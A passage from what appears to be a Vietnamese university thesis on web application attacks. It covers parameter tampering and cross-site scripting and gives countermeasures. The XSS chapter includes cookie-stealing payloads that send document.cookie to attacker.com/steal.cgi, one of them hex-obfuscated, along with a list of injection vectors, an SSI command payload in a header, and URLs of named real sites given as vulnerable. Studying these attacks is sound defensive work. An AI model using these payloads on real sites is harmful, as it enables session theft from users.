  • 28. Khoa CNTT Chương 2: Các khái niệm, thuật ngữ liên quan -Trang 25- Các cookies của IE được lưu thành nhiều tập tin, mỗi tập tin là một cookie và được đặt trong [C:]Documents and Setting[username]Cookies (Win2000), đối với win9x, thư mục cookies nằm trong thư mục [C:]Windowscookies. Kích thước tối đa của cookie là 4kb. Số cookie tối đa cho một tên miền là 20 cookie. Cookie bị hủy ngay khi đóng trình duyệt gọi là “session cookie”. V. PROXY Proxy cung cấp cho người sử dụng truy xuất Internet những nghi thức đặt biệt hoặc một tập những nghi thức thực thi trên dual_homed host hoặc basion host. Những chương trình client của người sử dụng sẽ qua trung gian proxy server thay thế cho server thật sự mà người sử dụng cần giao tiếp. Proxy server xác định những yêu cầu từ client và quyết định đáp ứng hay không đáp ứng, nếu yêu cầu được đáp ứng, proxy server sẽ kết nối với server thật thay cho client và tiếp tục chuyển tiếp những yêu cầu từ client đến server, cũng như trả lời của server đến client. Vì vậy proxy server giống cầu nối trung gian giữa server và client.
  • 29. Khoa CNTT Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công -Trang 26- Chương 3 GIỚI THIỆU SƠ LƯỢC VỀ CÁC KĨ THUẬT TẤN CÔNG ỨNG DỤNG WEB Nội dung: I. Kiểm soát quyền truy cập Web II. Chiếm hữu phiên làm việc III. Lợi dụng các thiếu sót trong việc kiểm tra dữ liệ hập hợp lệ IV. Để lộ thông tin V. Từ chối dịch vụ
  • 30. Khoa CNTT Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công -Trang 27- CHƯƠNG 3: GIỚI THIỆU SƠ LƯỢC VỀ CÁC KĨ THUẬT TẤN CÔNG ỨNG DỤNG WEB Sau đây là các khái niệm sơ lược các kĩ thuật tấn công ứng dụng Web đã được phân loại dựa trên mức độ gây tác hại đối với ứng dụng. I. KIỂM SOÁT TRUY CẬP WEB (Web Access Control) I.1. Thâm nhập hệ thống qua cửa sau (Back door) Trong quá trình thiết kế ứng dụng, những người phát triển ứng dụng có thể cài một “cửa sau” (back door) để sau này có thể thâm nhập vào hệ thống một cách dễ dàng. II.CHIẾM HỮU PHIÊN LÀM VIỆC(Session Mangement) II.1. Ấn định phiên làm việc (Session Fixation) Là kĩ thuật tấn công cho phép hacker mạo danh người dùng hợp lệ bằng cách gửi một session ID hợp lệ đến người dùng, sau khi người dùng đăng nhập vào hệ thống thành công, hacker sẽ dùng lại session ID đó và nghiễm nhiên trở thành người dùng hợp lệ. II.2. Đánh cắp phiên làm việc (Session Hijacking)
  • 31. Khoa CNTT Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công -Trang 28- Là kĩ thuật tấn công cho phép hacker mạo danh người dùng hợp lệ sau khi nạn nhân đã đăng nhập vào hệ thống bằng cách giải mã session ID của họ được lưu trữ trong cookie hay tham số URL, biến ẩn của form. III. LỢI DỤNG CÁC THIẾU SÓT TRONG VIỆC KIỂM TRA DỮ LIỆU NHẬP HỢP LỆ (Input validation) Hacker lợi dụng những ô nhập dữ liệu để gửi đi một đoạn mã bất kì khiến cho hệ thống phải thực thi đoạn lệnh đó hay bị phá vỡ hoàn toàn. III.1. Kiểm tra tính đúng đắn của dữ liệu bằng ngôn ngữ phía trình duyệt (Client-Side validation) Do ngôn ngữ phía trình duyệt ( JavaScript, VBScript..) đuợc thực thi trên trình duyệt nên hacker có thể sửa đổi mã nguồn để có thể vô hiệu hóa sự kiểm tra. III.2. Tràn bộ đệm (Buffer OverFlow) Một khối lượng dữ liệu được gửi cho ứng dụng vượt quá lượng dữ liệu được cấp phát khiến cho ứng dụng không thực thi được câu lệnh dự định kế tiếp mà thay vào đó phải thực thi một đoạn mã bất kì do hacker đưa vào hệ thống. Nghiêm trọng hơn nếu ứng dụng được cấu hình để thực thi với quyền root trên hệ thống. III.3. Mã hoá URL (URL Encoding) Lợi dụng chuẩn mã hóa những kí tự đặc biệt trên URL mà hacker sẽ mã hoá tự động những kí tự bất hợp lệ- những kí tự bị kiểm tra bằng ngôn ngữ kịch bản-để vượt qua vòng kiểm soát này. III.4. Kí tự Meta (Meta-characters)
  • 32. Khoa CNTT Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công -Trang 29- Sử dụng những kí tự đặc biệt ( nói rõ hơn trong phần phụ lục) hacker có thể chèn thêm vào dữ liệu gửi những kí tự trong chuỗi câu lệnh như <script> trong kĩ thuật XSS, ‘ -- trong SQL….để thực thi câu lệnh. III.5. Vượt qua đường dẫn (Path Traversal): Là phương pháp lợi dụng đường dẫn truy xuất một tập tin trên URL để trả kết quả về cho trình duyệt mà hacker có thể lấy được nội dung tập tin bất kì trên hệ thống. III.6. Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross- Site Scripting): Đây là kĩ thuật tấn công chủ yếu nhằm vào thông tin trên máy tính của người dùng hơn là vào hệ thống máy chủ. Bằng cách thêm một đoạn mã bất kì ( thường được lập trình bằng ngôn ngữ kịch bản như JavaScript, VBScript…), hacker có thể thực hiện việc đánh cắp thông tin quan trọng như cookie để từ đó trở thành người dùng hợp lệ của ứng dụng…dựa trên những thông tin đánh cắp này. Cross- Site scripting cũng là một kiểu tấn công “session hijacking”. III.7. Thêm câu lệnh hệ thống (OS Command Injection): Khả năng thực thi được những câu lệnh hệ thống hay những đoạn mã được thêm vào trong những tham số mà không có sự kiểm tra chặt chẽ như tham số của form, cookies, yêu cầu HTTP Header, và những dữ liệu nguy hiểm trong những tập tin được đưa lên trình chủ. Thành công trong kĩ thuật này giúp hacker có thể thực thi được những câu lệnh hệ thống với cùng quyền của trình chủ.
  • 33. Khoa CNTT Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công -Trang 30- III.8. Chèn câu truy vấn SQL (SQL Injection) Trong lập trình với cơ sở dữ liệu, người lập trình đã sai sót trong vấn đề kiểm tra giá trị nhập vào để từ đó hacker lợi dụng thêm vào những câu truy vấn hay những giá trị không hợp lệ để dễ dàng đăng nhập vào hệ thống. III.9. Ngôn ngữ phía máy chủ (Server side includes) Là khả năng thêm vào những câu lệnh thuộc hệ thống như nhúng file (include file), truy xuất cơ sở dữ liệu (jdbc)…khiến cho hacker có cơ hội truy xuất đến file, cơ sở dữ liệu…mà bình thường không thể xem được trên Web site. III.10. Kí tự rỗng (Null Characters) Lợi dụng chuỗi kí tự thường kết thúc bằng 0 mà hacker thường thêm vào để đánh lừa ứng dụng vì với những ứng dụng sử dụng chương trình cgi như C++ thì C++ cho rằng 0 là dấu kết thúc chuỗi. Ví dụ: Hacker thêm chuỗi sau: Ô nhập: đề tài thứ nhất0<script> alert(document.cookie)</script> nếu ứng dụng sử dụng chương trình C++ để kiểm tra tính đúng đắn của chuỗi thì chuỗi trên hợp lệ do C++ sẽ nhân biết “0” là kết thúc chuỗi nên không kiểm tra đoạn sau.. III.11. Thao tác trên tham số truyền (Parameter manipulation) Những thông tin trao đổi giữa trình chủ và trình duyệt được lưu trữ trong những biến như biến trên URL, biến ẩn form, cookie…Bởi vì việc kiểm soát biến chưa
  • 34. Khoa CNTT Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công -Trang 31- được quan tâm đúng mức nên hacker có thể lợi dụng sửa đổi giá trị biến để đánh cắp phiên làm việc của người dùng hay thay đổi giá trị một món hàng…. IV. ĐỂ LỘ THÔNG TIN (informational) Những tập tin và ứng dụng trên hệ thống chứa những thông tin quan trọng như mã nguồn một trang Web hay tập tin chứa mật khẩu của người dùng trên hệ thống luôn là mục tiêu của hacker. Ngoài ra những lời chú thích trong mã nguốn cũng là nguồn thông tin hữu ích cho hacker. Hacker sử dụng trả lời HTTP từ hệ thống để xác định một tập tin hay ứng dụng có tồn tại hay không. Ví dụ 1.IV-1: • HTTP 200 : tập tin tồn tại • HTTP 404: tập tin không tồn tại. V.TỪ CHỐI DỊCH VỤ (Denial of service (DoS) Một khối lượng lớn yêu cầu được gửi cho ứng dụng trong một khoảng thời gian nhất định khiến hệ thống không đáp ứng kịp yêu cầu dẫn đến hệ thống bị phá vỡ. Vì khuôn khổ và thời gian của luận văn là có hạn nên luận văn chỉ thực hiện tìm hiểu một số kĩ thuật phổ biến và khả năng phá hoại một hệ thống mạng với mức độ cao. Và trong các chương ở phần thứ hai, luận văn sẽ trình bày kĩ hơn từng kĩ thuật sau : • Thao tác trên tham số truyền • Chèn mã lệnh thực thi trên trình duyệt • Chèn câu truy vấn SQL • Chiếm hữu phiên làm việc
  • 35. Khoa CNTT Chương 3: Giới thiệu sơ lược về các kĩ thuật tấn công -Trang 32- • Tràn bộ đệm • Từ chối dịch vụ • Một vài kĩ thuật khác o Kí tự rỗng o Mã hóa URL o Lợi dụng truy xuất đường dẫn đến một tập tin o Ngôn ngữ phía trình chủ
  • 36. Khoa CNTT Phần II: Các kĩ thuật tấn công và bảo mật ứng dụng Web -Trang 33- PHẦN THỨ HAI CÁC KĨ THUẬT TẤN CÔNG VÀ BẢO MẬT ỨNG DỤNG WEB
  • 37. Khoa CNTT Chương 4: Thao tác trên tham số truyền -Trang 34- Chương 4 THAO TÁC TRÊN THAM SỐ TRUYỀN Nội dung: I. Thao tác trên URL II. Thao tác trong biến ấn form III. Thao tác trên cookie IV. Thao tác trong HTTP Header
  • 38. Khoa CNTT Chương 4: Thao tác trên tham số truyền -Trang 35- CHƯƠNG 4:THAO TÁC TRÊN THAM SỐ TRUYỀN Thao tác trên tham số truyền là kĩ thuật thay đổi thông tin quan trọng trên cookie, URL hay biến ẩn của form. Kĩ thuật Cross-Site Scripting, SessionID, SQL Injection, Buffer Overflow…cũng cần dùng đến các tham số này để hoàn thiện các bước tấn công của hacker. Có thể nói các tham số truyền là đầu mối cho mọi hoạt động của hacker trong quá trình tấn công ứng dụng. Vì thế đây là nội dung chương đầu tiên được đề cập trong phần thứ hai, mục đích cũng là để hỗ trợ tốt hơn phần trình bày các chương kế tiếp. I. THAO TÁC TRÊN URL I.1. Khái niệm: Khi nhập một form HTML thì kết quả sẽ được gửi đi theo hai cách: GET hay POST. Nếu dùng GET, thì tất cả các tên biến và giá trị của nó sẽ xuất hiện trong chuỗi URL. Ví dụ 4.I.1-1: Có một trang web ứng dụng cho phép thành viên đã được thay đổi mật khẩu. http://www.nganhang.com/example?user=thang&newpass=123 Với: + username là tên người cần thay đổi mật khẩu. + newpass là mật khẩu mới cho username Tuy nhiên, bằng cách thay đổi tham số như sau:
  • 39. Khoa CNTT Chương 4: Thao tác trên tham số truyền -Trang 36- http://www.nganhang.com/example?user=admin&newpass=111111 Hacker đã có thể thay đổi mật khẩu của admin bằng một mật khẩu mới bất kì, trong ví dụ này là ‘1111111’ I.2. Một số biện pháp khắc phục Để chống lại kiểu thay đổi nội dung một chuỗi URL, ứng dụng có thể áp dụng biện pháp sau: • Ứng dụng sử dụng cơ chế bảng băm (hash table). Sau khi người dùng chứng thực thành công với một username , ứng dụng sẽ sinh ra một khoá tương ứng. Khoá này sẽ được lưu trên server cùng với biến username trong đối tượng bảng băm. Mỗi khi người dùng kết nối đến ứng dụng, khoá và username này sẽ được gửi đi và được so sánh với khoá và username trong bảng băm. Nếu tương ứng với bản ghi trong dữ liệu thì hợp lệ. Còn nếu không thì server biết rằng người dùng đã thay đổi URL. • Ngoài ra, với những thông tin có giá trị, cần mã hoá thông tin này trước khi cho hiển thị trên trình duyệt để tránh hacker có thể sửa đổi tùy ý. II. THAO TÁC TRÊN BIẾN ẨN FORM II.1. Khái niệm Thông tin có thể được chuyển đổi thông qua một biến ẩn của form, gọi là Hidden Form Field. Biến ẩn form không hiển thị trên màn hình trình duyệt nhưng người dùng có thể tìm thấy nội dung của nó trong “ view source ”, vì thế đây là một điểm yếu để hacker lợi dụng bằng cách lưu nội dung trang web xuống trình duyệt, thay đổi nội dung trang và gửi đến trình chủ.
  • 40. Khoa CNTT Chương 4: Thao tác trên tham số truyền -Trang 37- Ví dụ 4.II.1-1: Form gốc có nội dung như sau: <form action="http://www.tancong.com/cuahang.pl" method="POST"> ... <input type="hidden" name="giaca" value="99.99"> ... </form> Nếu không có sự thay đổi nào thì yêu cầu đến trình chủ có nội dung : POST /cuahang.pl HTTP/1.0 ... giaca=99.99 Nhưng nếu hacker gán một giá trị khác cho trường “giaca” : <form action="http://www.tancong.com/cuahang.pl" method="POST"> ... <input type="hidden" name="giaca" value="0.99"> ... </form> thì yêu cầu sẽ thay đổi: POST /cuahang.pl HTTP/1.0 ... giaca=0.99 Ngoài việc thay đổi nội dung biến ẩn của form, hacker còn biến đổi nội dung các thành phần trong form, như chiều dài của một ô nhập dữ liệu để thực hiện việc tấn công “BUFFER OVERFLOW”, …
  • 41. Khoa CNTT Chương 4: Thao tác trên tham số truyền -Trang 38- II.2. Một số biện pháp khắc phục • Chỉ nên sử dụng biến ẩn của form để hiển thị dữ liệu trên trình duyệt, không được sử dụng giá trị của biến để thao tác trong xử lí ứng dụng. • Dùng biến HTTP_REFERER để kiểm tra nguồn gốc của yêu cầu gửi đến, tuy nhiên hacker có thể sử dụng Proxy để che dấu nguồn gốc thực của nó, vì vậy cũng không nên quá tin tưởng biến HTTP_REFERER để kiểm tra. • Ghép tên và giá trị của biến ẩn thành một chuỗi đơn. Sử dụng thuật toán mã hoá MD5 hoặc một kiểu hash một chiều khác để tổng hợp chuỗi đó và lưu nó vào một hidden field gọi là “Chuỗi mẫu”. Khi giá trị trong form được gửi đi, các thao tác như trên được thực hiện lại với cùng một khoá mà ta định trước. Sau đó đem so sánh với “Chuỗi mẫu”, nếu chúng không khớp nhau thì chứng tỏ giá trị trong biểu mẫu đã bị thay đổi. • Dùng một sessionID để tham chiếu đến thông tin được lưu trữ trên cơ sở dữ liệu.
  • 42. Khoa CNTT Chương 4: Thao tác trên tham số truyền -Trang 39- III. THAO TÁC TRÊN COOKIE III.1. Khái niệm Ở phần thứ nhất, chương 2, mục IV, luận văn đã trình bày cơ bản khái niệm về cookie. Trong mục này, luận văn chỉ trình bày cách thay đổi một cookie. Vì cookie là thành phần lưu trữ thông tin bảo mật nhất nên Cookie thường được dùng để lưu giữ trạng thái cho giao thức HTTP hơn là biến ẩn form và biến URL. Nó còn được dùng để lưu trữ những thông tin của người dùng khi sử dụng ứng dụng và những dữ liệu khác của session. Tất cả các loại cookie như persistent hay non-persistent, secure hay insecure đều có thể bị thay đổi bởi người dùng và được gởi về cho trình chủ. Do đó hacker có thể thay đổi nội dung cookie để phá hoại ứng dụng. Với những công cụ miễn phí như Winhex thì non-persistent cookie có thể bị thay đổi nội dung. Còn SSL chỉ có thể bảo vệ cookie trong quá trình truyền. Ví dụ 4.III.1-1: về cookie dùng để lưu trữ thông tin cho ứng dụng web thông tin du lịch: Cookie: lang=en-us; ADMIN=no; y=1 ; time=10:30GMT ; Cookie xác định người dùng này không phải là Admin (ADMIN=no), nhưng nếu hacker thay đổi trường này điều gì sẽ xảy ra? Hacker có thể thay đổi lại thành như sau: Cookie: lang=en-us; ADMIN=yes; y=1 ; time=12:30GMT ; Hacker lúc này mang vai trò là một người quản trị của ứng dụng.
  • 43. Khoa CNTT Chương 4: Thao tác trên tham số truyền -Trang 40- III.2. Một số biện pháp khắc phục • Sử dụng đối tượng session lưu trữ thông tin quan trọng trên trình chủ. Khi ứng dụng cần kiểm tra thông tin của một người dùng, ứng dụng sẽ dùng sessionID của người dùng để chỉ đến thông tin của người dùng đó trong cache hay cơ sở dữ liệu. • Xây dựng một cơ chế kiểm tra nội dung của cookie để tìm ra những giá trị không hợp lệ từ đó biết được cookie đó là giả. Ví dụ là nếu biến cờ “người quản trị” được được thiết lập là đúng trong cookie, nhưng giá trị của số thứ tự người dùng trong cookie lại không giống như giá trị số thứ tự của “người quản trị” được lưu trữ trên server. • Phương pháp cuối cùng là mã hoá cookie. Có một số phương pháp mã hoá như symmetric (dùng 1 khóa duy nhất cho cả mã hóa và giải mã) hay asymmetric (mã hóa dùng 2 khóa riêng biệt, một khóa dùng chung cho mã hóa và một khóa riêng để giải mã) IV. THAO TÁC TRONG HTTP HEADER URL, biến ẩn form, cookie đều là những thành phần lưu trữ thông tin mà người dùng thông thường có thể xem và thay đổi. Tuy nhiên, những thành phần đó đều được chuyển đi thông qua HTTP Header. Vì thế, mặc dù HTTP Header không phải là tham số truyền của một ứng dụng nhưng mọi thông tin đều được lưu trữ vào nó trước khi chuyển đi nên trong phần này sẽ đề cập đến việc thay đổi một HTTP Header. IV.1. Khái niệm Thông thường chỉ có trình duyệt và trình chủ là trao đổi HTTP Header ( xem chi tiết trong phần thứ nhất, chương 2, mục II), còn hầu hết các ứng dụng web thì
  • 44. Khoa CNTT Chương 4: Thao tác trên tham số truyền -Trang 41- không. Tuy nhiên, hacker có thể tự viết một chương trình để điều khiển HTTP header (như xem nội dung, tạo mới) hay sử dụng các proxy miễn phí cho phép thay đổi dữ liệu được gửi từ trình duyệt. Ngoài ra hacker có thể tấn công trực tiếp bằng cách telnet gửi HTTP Request đến trình chủ. Ví dụ 4.IV.1-1: su-2.05# telnet localhost 80 Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. GET / HTTP/1.0 Referer: www.redhat.com/login.asp User-Agent: <!--#exec cmd="/bin/id"--> HTTP/1.1 200 OK Date: Mon, 17 Dec 2001 20:39:02 GMT Server: Connection: close Content-Type: text/html Phần in đậm là nội dung hacker thay đổi. Ví dụ 4.IV.1-2: Referer header chứa URL của trang web mà từ đó yêu cầu được gửi đi. Vì thế một vài ứng dụng sẽ kiểm tra thành phần này trong header để đảm bảo rằng nó được gửi từ trang web của ứng dụng đó. Việc làm này dùng để ngăn chặn việc hacker lưu lại trang web xuống máy, chỉnh sửa thuộc tính form, phá hoại bằng cách nhằm vào client side validate hay server side include, sau đó gửi đi. Nhưng phương pháp kiểm tra này sẽ thất bại khi hacker có thể sửa lại Referer header để nó giống như được gửi từ trang web hợp lệ.
  • 45. Khoa CNTT Chương 4: Thao tác trên tham số truyền -Trang 42- Referer: www.redhat.com/login.asp IV.2. Một số biện pháp khắc phục Đơn giản là không tin tưởng vào HTTP header nếu chưa có các biện pháp an toàn. Với các header gửi từ trình chủ, chẳng hạn như cookie thì có thể được mã hoá. Còn với các header gửi từ trình khách thì không nên dùng các tham số như referer,… để thực hiện các biện pháp an toàn. Nhận xét: Mọi thông tin quan trọng trao đổi giữa trình duyệt và trình chủ không nên lưu trữ dưới dạng chuỗi thông thường mà cần được mã hóa, ngoài ra những thông tin này nên được kiểm tra, đối chiếu với dữ liệu trong cơ sở dữ liệu hay trong cache của trình chủ, phòng tránh trường hợp nội dung thông tin bị sai lệch. Bên cạnh đó, việc kiểm tra dữ liệu đúng đắn là cần thiết vì hầu như các kĩ thuật tấn công đều dựa vào dữ liệu nhập trên URL, biến ẩn form hay cookie như kiểu tấn công Cross-Site Scripting trong chương kế tiếp hay SQL Injection trong chương 6…
  • 46. Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) -Trang 43- Chương 5 CHÈN MÃ LỆNH THỰC THI TRÊN TRÌNH DUYỆT NẠN NHÂN Nội dung: I. Cross Site Scripting (XSS) II. Phương pháp tấn công XSS truyền thống. III. Một số WebSite tìm thấy lỗ hổng XSS. IV. Tấn công XSS bằng Flash. V. Cách phòng chống.
  • 47. Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) -Trang 44- CHƯƠNG 5: CHÈN MÃ LỆNH THỰC THI TRÊN TRÌNH DUYỆT NẠN NHÂN (CROSS SITE SCRIPTING) I. KĨ THUẬT TẤN CÔNG CROSS SITE SCRIPTING (XSS) Phương pháp Cross Site Scripting (được viết tắt là XSS) là phương pháp tấn công bằng cách chèn thêm những đoạn mã có khả năng đánh cắp hay thiết lập được những thông tin quan trọng như cookies, mật khẩu,… vào mã nguồn ứng dụng web để từ đó chúng được chạy như là một phần của ứng dụng Web và có chức năng cung cấp hoặc thực hiện những những điều hacker muốn. Phương pháp này không nhằm vào máy chủ hệ thống mà chủ yếu tấn công trên chính máy người sử dụng. Hacker sẽ lợi dụng sự kiểm tra lỏng lẻo từ ứng dụng và hiểu biết hạn chế của người dùng cũng như biết đánh vào sự tò mò của họ dẫn đến người dùng bị mất thông tin một cách dễ dàng. Thông thường hacker lợi dụng địa chỉ URL để đưa ra những liên kết là tác nhân kích hoạt những đoạn chương trình được viết bằng ngôn ngữ máy khách như VBScript, JavaScript…được thực thi trên chính trình duyệt của nạn nhân. Ví Dụ 5.I-1: http://hotwired.lycos.com/webmonkey/00/index1.html?tw=<script>alert (document.cookie);</script>
  • 48. Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) -Trang 45- hay: http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_te xt=%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E Phần in đậm là đoạn mã được thêm vào với mục đích đánh cắp cookies của nạn nhân. Trong những ví dụ 2.I-1 trên, hầu hết những tiền tố URL là địa chỉ của những ứng dụng Web có thật (VD: http://www.microsoft.com/education, http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/...) lợi dụng cách truyền tham số trên URL mà hacker có thể dễ dàng thêm vào đoạn mã đánh cắp cookie. Ví dụ 5.I-1 trên chỉ minh họa một cách đơn giản là thêm đoạn mã của mình vào trang Web thông qua URL. Nhưng thực sự thì có rất nhiều cách để thêm đoạn mã JavaScript với mục đích tấn công kiểu XSS. Hacker có thể dễ dàng lợi dụng Document Object Model (DOM) để thay đổi ngữ cảnh và nội dụng Web ứng dụng. Sau đây là danh sách nơi có thể chèn đoạn mã: Ví dụ 5.I-2: <a href="javas&#99;ript&#35;[code]"> <div onmouseover="[code]"> <img src="javascript:[code]"> <img dynsrc="javascript:[code]"> <input type="image" dynsrc="javascript:[code]"> <bgsound src="javascript:[code]"> &<script>[code]</script> &{[code]}; <img src=&{[code]};> <liên kết rel="stylesheet" href="javascript:[code]"> <iframe src="vbscript:[code]"> <img src="mocha:[code]">
  • 49. Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) -Trang 46- <img src="livescript:[code]"> <a href="about:<s&#99;ript>[code]</script>"> <meta http-equiv="refresh" content="0;url=javascript:[code]"> <body onload="[code]"> <div style="background-image: url(javascript:[code]);"> <div style="behaviour: url([liên kết to code]);"> <div style="binding: url([liên kết to code]);"> <div style="width: expression([code]);"> <style type="text/javascript">[code]</style> <object classid="clsid:..." codebase="javascript:[code]"> <script>[code]</script> <img src="blah"onmouseover="[code]"> <img src="blah>" onmouseover="[code]"> <xml src="javascript:[code]"> <xml id="X"><a><b>&lt;script>[code]&lt;/script>;</b></a></xml> (tài liệu từ http://online.securityfocus.com/archive/1/272037/2002-05-09/2002-05-15/0) Phần in đậm là phần có thể đặt đoạn mã đánh cắp thông tin. II. PHƯƠNG PHÁP TẤN CÔNG XSS TRUYỀN THỐNG Ứng dụng Web thường lưu trữ thông tin quan trọng ở cookie. Cookie là mẩu thông tin mà ứng dụng lưu trên đĩa cứng của người sử dụng. Nhưng chỉ ứng dụng thiết lập ra cookie thì mới có thể đọc nó. Do đó chỉ khi người dùng đang trong phiên làm việc của ứng dụng thì hacker mới có cơ hội đánh cắp cookie. Công việc đầu tiên của hacker là tìm trang đích để dụ người dùng đăng nhập sau khi đã tìm ra lỗ hổng trên ứng dụng đó. Các bước thực hiện XSS truyền thống:
  • 50. Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) -Trang 47- Hình 5.II-1. Quá trình thực hiện XSS Tóm tắt các bước thực hiện: • Bước 1: Hacker biết được người dùng đang sử dụng một ứng dụng Web có lỗ hỏng XSS. • Bước 2: Người dùng nhận được 1 liên kết thông qua email hay trên chính trang Web (như trên guestbook, banner dễ dàng thêm 1 liên kết do chính hacker tạo ra…). Thông thường hacker khiến người dùng chú ý bằng những câu kích thích sự tò mò của người dùng như “ Kiểm tra tài khoản”, “Một phần thưởng hấp dẫn đang chờ bạn”… • Bước 3: Chuyển nội dung thông tin (cookie, tên, mật khẩu…) về máy chủ của hacker. • Bước 4: Hacker tạo một chương trình cgi (ở ví dụ 3 này là steal.cgi) hoặc một trang Web để ghi nhận những thông tin đã đánh cắp vào 1 tập tin • Bước 5: Sau khi nhận được thông tin cần thiết, hacker có thể sử dụng để thâm nhập vào tài khoản của người dùng.
  • 51. Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) -Trang 48- Ví dụ 5.II-1: Để khai thác lỗ hổng trên ứng dụng hotwired.lycos.com, hacker có thể thực hiện như sau : <html> <head> <title>Look at this!</title> </head> <body> <a href="http://hotwired.lycos.com/webmonkey/index1.html?tw=<script>do cument.location.replace('http://www.attacker.com/steal.cgi?'+docume nt.cookie);</script>"> Một phần thưởng hấp dẫn đang chờ bạn </a> </body> </html> Sau khi người dùng nhấp vào liên kết “Một phần thưởng hấp dẫn đang chờ bạn”, cookie trên máy nạn nhân sẽ bị đánh cắp và là tham số truyền vào cho chương trình steal.cgi của hacker. http://www.attacker.com/steal.cgi?lubid=010000508BD3046103F43B8264530098C 20100000000;%20p_uniqid=8sJgk9daas7WUMxV0B;%20gv_titan_20=5901=10195 11286 Vấn đề đặt ra là có thể người lập trình sẽ bảo vệ ứng dụng Web của mình bằng cách lọc những kí tự đặc biệt như ‘, hay + (có thể tránh trường hợp dùng dấu ‘ để thực hiện câu truy vấn SQL chẳng hạn)… Nhưng hacker có thể lợi dụng mã hex thay cho những kí tự đặc biệt để tấn công. Thay thế bằng những số hex cho những kí tự ASCII. Ví dụ 5.II-2:
  • 52. Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) -Trang 49- http://www.attacker.com/steal.cgi: h -> 0x0068 t -> 0x0074 t -> 0x0074 p -> 0x0070 : -> 0x003A / -> 0x002F … Sau đây là ví dụ trong cách dùng mã hex trong ứng dụng web. Ví dụ 5.II-3: <html> <head> <title>Look at this!</title> </head> <body> <a href="http://hotwired.lycos.com/webmonkey/index1.html?tw=<script>va r u = String.fromCharCode(0x0068);u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0074); u %2B= String.fromCharCode(0x0070);u %2B= String.fromCharCode(0x003A); u %2B= String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x002F); u %2B= String.fromCharCode(0x0061);u %2B= String.fromCharCode(0x0074); u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0061);
  • 53. Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) -Trang 50- u %2B= String.fromCharCode(0x0063);u %2B= String.fromCharCode(0x006B); u %2B= String.fromCharCode(0x0065);u %2B= String.fromCharCode(0x0072); u %2B= String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0063); u %2B= String.fromCharCode(0x006F);u %2B= String.fromCharCode(0x006D); u %2B= String.fromCharCode(0x002F);u %2B= String.fromCharCode(0x0073); u %2B= String.fromCharCode(0x0074);u %2B= String.fromCharCode(0x0065); u %2B= String.fromCharCode(0x0061);u %2B= String.fromCharCode(0x006C); u %2B= String.fromCharCode(0x002E);u %2B= String.fromCharCode(0x0063); u %2B= String.fromCharCode(0x0067);u %2B= String.fromCharCode(0x0069); u %2B= String.fromCharCode(0x003F); u %2B=document.cookie;document.location.replace(u);</script>" onMouseOver="window.status=’http://www.hotwired.lycos.com/index2.ht ml';return true" onMouseOut="window.status='';return true">Một phần thưởng hấp dẫn đang chờ bạn </a> </body> </html> III. MỘT SỐ WEBSITE TÌM THẤY LỖ HỔNG XSS Tên công ty Domain Những liên kết bị khai thác NBC http://www.shop http://www.shopnbc.com/listing.asp?qu=
  • 54. Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) -Trang 51- nbc.com <script>alert(document.cookie)</script>&frompa ge=4 &page=1&ct=VVTV&mh=0&sh=0&RN=1 Microsoft http://www.micr osoft.com/ http://www.microsoft.com/education/?ID=MCTN &target=http://www.microsoft.com/education/?ID= MCTN &target=<script>alert(document.cookie)</script> Chase https://www.cha se.com/ https://www.chase.com/chase/gx.cgi/FTcs?pagenam e=<script>alert(document.cookie)</script> &urlname=smallbusiness/direct EBay https://scgi.ebay. co.uk/ https://scgi.ebay.co.uk/saw- cgi/eBayISAPI.dll?SSLRegisterShow &countryid=3&siteId=3&co_partnerId=0&UsingSS L=1 &aolemail=<script>alert(document.cookie) </script> Oracle Japan http://www.orac le.co.jp/ http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/i m_search_exe? search_text=<script>alert(document.cookie) </script> IV. TẤN CÔNG XSS BẰNG FLASH Ngoài những cách đưa một đoạn mã nguy hiểm thì hacker còn có thể lợi dụng những tập tin flash để đánh cắp thông tin.
  • 55. Khoa CNTT Chương 5: Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross Site Scripting) -Trang 52- Macromedia Flash cho phép lập trình bằng một ngôn ngữ kịch bản đã được xây dụng sẵn trong Flash là ActionScript. ActionScript có cú pháp đơn giản và tương tự như JavaScript, C hay PERL. Ví dụ hàm getURL() dùng để gọi một trang web khác, tham số thường là một URL chẳng hạn như “http://www.yahoo.com”. Ví dụ 5.IV-1: getURL(“http://www.yahoo.com”) Tuy nhiên có thể thay thế URL bằng JavaScript: getURL(“javascript:alert(document.cookie)”) Ví dụ 5.IV-1 trên sẽ làm xuất hiện bảng thông báo chứa cookie của trang web chứa tập tin flash đó. Như vậy là trang web đó đã bị tấn công, bằng cách chèn một đoạn JavaScript vào ứng dụng Web thông qua tập tin flash. Một ví dụ khác rõ hơn về cách tấn công này là: Đây là đoạn lệnh trong tập tin flash và sẽ được thi hành khi tập tin flash được 